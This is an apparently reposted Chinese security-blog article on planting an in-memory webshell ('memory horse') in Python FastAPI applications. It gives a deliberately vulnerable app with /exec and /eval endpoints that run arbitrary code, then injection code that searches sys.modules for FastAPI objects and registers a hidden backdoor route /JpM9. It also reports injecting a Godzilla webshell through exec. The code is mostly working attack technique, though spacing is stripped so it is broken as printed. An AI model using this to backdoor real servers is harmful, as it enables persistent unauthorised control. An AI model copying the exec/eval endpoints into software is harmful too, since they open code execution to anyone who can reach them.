【安全工具】Python内存马之FastApi内存马"

admin 2026-10-22 10:53:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【安全工具】Python内存马之FastApi内存马

原创

whoami0002
whoami0002

SecurityPaper

2026年1月3日 17:18
江苏

在小说阅读器读本章

去阅读

FastApi内存马

前几天看了一下langflow的代码执行漏洞,于是就有了这篇基于FastApi内存马的文章

首先我们搭建一个FastApi环境

fromfastapiimportFastAPI, HTTPException
frompydanticimportBaseModel

app=FastAPI(
    title=\"FastAPI Code Executor\",
    description=\"ASGI application with /exec and /eval endpoints\"
)

classCodePayload(BaseModel):
    code: str

classExecResponse(BaseModel):
    status: str
    namespace: dict|None=None
    error: str|None=None
    type: str|None=None

classEvalResponse(BaseModel):
    status: str
    result: str|None=None
    error: str|None=None
    type: str|None=None

@app.post('/exec', response_model=ExecResponse)
asyncdefexecute_code(payload: CodePayload):
    \"\"\"Execute code using exec()\"\"\"
    try:
        namespace= {}
        exec(payload.code, namespace)

        # Returnanyresultstoredinnamespace (excludingbuiltins)
        result= {k: str(v) fork, vinnamespace.items() ifnotk.startswith('__')}
        returnExecResponse(status='success', namespace=result)

    exceptExceptionase:
        raiseHTTPException(
            status_code=500,
            detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
        )

@app.post('/eval', response_model=EvalResponse)
asyncdefevaluate_code(payload: CodePayload):
    \"\"\"Evaluate code using eval()\"\"\"
    try:
        result=eval(payload.code)
        returnEvalResponse(status='success', result=str(result))

    exceptExceptionase:
        raiseHTTPException(
            status_code=500,
            detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
        )

@app.get('/')
asyncdefindex():
    \"\"\"Index route with API info\"\"\"
    return {
        'framework': 'FastAPI',
        'type': 'ASGI',
        'routes': {
            '/exec': 'POST - Execute code with exec()',
            '/eval': 'POST - Evaluate expression with eval()'
        },
        'payload_format': {'code': 'your_code_here'},
        'docs': '/docs'
    }

if__name__=='__main__':
    importuvicorn
    uvicorn.run(app, host='0.0.0.0', port=5003)

注入内存马最重要的就是获取上下文中的fastapi对象,如何获取呢

在python中所有已经被加载的模块都存入到了sys.modules这个字典中

例如遍历已加载的对象

这个时候我们可以通过遍历sys.modules来找到fastapi对象

在调试窗口中执行此代码,可以看见已经找到了fastapi对象

编写注入代码

importsys
fromfastapiimportFastAPI, Request, Response

found_apps= []

formoduleinsys.modules.values():
    ifmoduleisNone:
        continue
    try:
        module_dict=vars(module)
        forname, objinmodule_dict.items():
            ifisinstance(obj, FastAPI):
                app_info= (module.__name__, name, obj)
                found_apps.append(app_info)
                definject_shell(app: FastAPI):
                    @app.post('/JpM9')
                    @app.get('/JpM9')
                    asyncdefshell(request: Request):
                        try:
                            body=awaitrequest.body()
                            returnResponse(content=b\"WEBSHELL: \"+body,
                                            media_type=\"application/octet-stream\")
                        exceptException:
                            returnResponse(content=b\"Error\", status_code=500)
                    print(f\"[+] 成功注入后门路由 /JpM9 到 {app.titleor'Unknown App'} ({name})\")
                inject_shell(obj)

    exceptExceptionase:
        pass

print(\"找到并注入的 FastAPI 实例:\", found_apps)

成功注入

通过exec注入哥斯拉内存马

成功连接


【安全工具】Python内存马之FastApi内存马" 网络安全文章

【安全工具】Python内存马之FastApi内存马"

本文介绍了基于FastAPI框架的Python内存马注入技术,通过遍历sys.modules获取已加载的FastAPI实例并注入后门路由/JpM9,演示了利用exec功能注入哥斯拉内存马实现持久化控制的完整过程。关键发现包括利用Python模块机制定位应用对象、动态注册恶意路由的方法,并提供可操作的内存马检测与防范建议。
TransparentTribe对印度政府和学术界发起新的远程访问木马攻击" 网络安全文章

TransparentTribe对印度政府和学术界发起新的远程访问木马攻击"

TransparentTribe组织使用伪装成PDF的LNK文件通过鱼叉邮件攻击印度政府及学术机构,其RAT能根据杀软类型调整持久化方式,并植入功能完整的DLL后门实现远程控制。Patchwork组织则通过MSBuild项目投放PythonRAT和新型StreamSpy木马,利用WebSocket协议规避检测。两家组织均持续更新工具库并存在技术关联。
近期安全热点AI安全网空对抗国家APT" 网络安全文章

近期安全热点AI安全网空对抗国家APT"

文档披露了近期多个网络安全威胁:包括涉及美法德等国的10个恶意IP与网址,主要传播Xworm、RemCos等后门木马及Mirai僵尸网络;伊朗APT组织Infy使用升级版Foudre和Tonnerre恶意软件针对多国进行隐蔽攻击;攻击者通过伪装杀毒软件的Word/PDF文档针对以色列实施OperationIconCat行动;新型僵尸网络NutsBot利用React2Shell高危漏洞传播,具备DDoS、信息窃取等多功能。建议及时更新系统补丁、加强漏洞防护与威胁检测。
评论:0   参与:  0